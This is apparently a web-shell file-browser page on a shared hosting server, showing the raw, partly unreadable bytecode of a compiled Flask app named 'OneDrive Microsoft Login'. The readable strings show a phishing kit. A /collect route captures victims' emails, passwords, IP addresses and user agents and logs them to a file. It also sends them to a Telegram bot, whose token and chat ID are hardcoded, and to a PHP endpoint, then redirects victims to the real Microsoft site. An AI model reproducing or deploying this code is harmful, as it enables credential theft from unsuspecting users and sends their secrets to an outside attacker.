HEX
Server: LiteSpeed
System: Linux altaruk3.supremepanel3.co.uk 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: imperialpark (2283)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/imperialpark/myapp/__pycache__/app.cpython-310.pyc
o

}M�i?�@s�dZddlmZmZmZmZmZddlZddlZddl	m	Z	zddl
Z
dZWney5dZe
d�Ynwee�ZdZd	Zd
ZdZe�d�d
d��Zejddgd�dd��Zdd�Ze�d�dd��ZeZedkrtejdddd�dSdS)z.
OneDrive Microsoft Login - Flask Application
�)�Flask�render_template�request�jsonify�redirectN)�datetimeTFzKWarning: requests module not installed. Telegram and PHP features disabled.z.8005297622:AAEIy6jdHSbOZcttFQ2Kay1Yt2z2wVx6EkQZ
6379949671ztelegram_sender.phpzhttps://login.microsoft.com�/cCstd�S)z	Home pagez
index.html)r�r	r	�/home/imperialpark/myapp/app.py�index�rz/collectZPOST)�methodscCs�z�tj�dd�}tj�dd�}tj�dd�}tj�dd�}tj}tj�dd	�}t���d
�}|�d|�d|�d|�d|�d|�d
�}tj	�
tj	�t�d�}t
|d��
}	|	�|�Wd�n1sbwYtd|���tr�tdkr�zt||||||�Wnty�}
z
td|
���WYd}
~
nd}
~
wwtr�tr�z||||d�}tjt|dd�WnYtddi�WSty�}
ztd|
���tddi�dfWYd}
~
Sd}
~
ww)zCollect credentials�email��password�
attempt_count�1�total_attempts�2z
User-AgentZUnknownz%Y-%m-%d %H:%M:%S�|r�
z
logins.txt�aNzLogin captured: ZYOUR_BOT_TOKEN_HEREzTelegram error: )rrrr���data�timeoutZsuccessTzError in collect: Fi�)rZform�getZremote_addr�headersr�now�strftime�os�path�join�dirname�__file__�open�write�print�REQUESTS_AVAILABLE�	BOT_TOKEN�send_to_telegram�	Exception�PHP_ENDPOINT�requests�postr)rr�attempt�total�ipZ
user_agentZ	timestampZ	log_entryZlog_path�f�eZphp_datar	r	r
�collect!sJ(������r4c	Cs�tsdSd|�d|�d�}|d|�d�7}|d|�d�7}|d|�d�7}|d	t���d
���7}dt�d�}t|d
d�}tj||dd�dS)zSend data to TelegramNu🔐 *New Login rz*

u📧 *Email:* `z`
u🔑 *Password:* `u🌐 *IP:* `u
🕐 *Time:* z%H:%M:%Szhttps://api.telegram.org/botz/sendMessageZMarkdown)Zchat_id�textZ
parse_mode�r)r(rrrr)�CHAT_IDr-r.)	rrr/r0r1Zua�messageZurlrr	r	r
r*Us�r*z	/redirectcCstt�S)zRedirect to Microsoft)r�REDIRECT_URLr	r	r	r
�redirect_to_loginirr:�__main__z0.0.0.0i�)�debugZhostZport)�__doc__Zflaskrrrrrr �sysrr-r(�ImportErrorr'�__name__�appr)r7r,r9Zrouterr4r*r:�application�runr	r	r	r
�<module>s8�

3
�